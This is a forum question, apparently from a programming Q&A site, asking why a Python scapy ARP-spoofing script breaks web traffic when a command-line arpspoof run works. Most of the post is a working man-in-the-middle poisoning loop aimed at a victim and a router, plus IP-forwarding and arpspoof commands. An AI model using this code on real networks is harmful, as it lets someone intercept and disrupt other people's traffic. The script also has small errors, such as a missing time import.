[Python] Pages are not loading while doing a spoofing attack using scapy

I am trying to conduct a spoofing attack using scapy. Here is my code:

import scapy.all as scapy
from scanner import scan

#NOTE: The scanner module takes in an IP Address and finds the
#corresponding Mac Address for it.

def spoof(target_ip, spoof_ip, mac_address) :
packet = scapy.ARP(op = 2, pdst = target_ip, hwdst=mac_address,psrc=spoof_ip)
scapy.send(packet, verbose = False)

router_mac_address = scan(<victim's_ip>)
target_mac_address = scan(<router's_ip>)

while True :
spoof(<victim's_ip>, <router's_ip>, target_mac_address)
spoof(<router's_ip>, <victim's_ip>, router_mac_address)
time.sleep(2)


I enable ip forwarding by typing: echo 1 > /proc/sys/net/ipv4/ip_forward in the terminal. It does not work. The webpages aren't loading, the websites aren't responding, and I have no idea what to do. I have also tried typing this command: echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward, and still, it does not work. The webpages are not responding on any device I try.

I should add that when I run an arp - spoofing attack using the command line (arpspoof -i eth0 -t <router's ip> <victim's ip>) while enabling ip_forwarding, everything works fine, and the pages load.

What am I doing wrong here?? Why aren't the IP's being forwarded??

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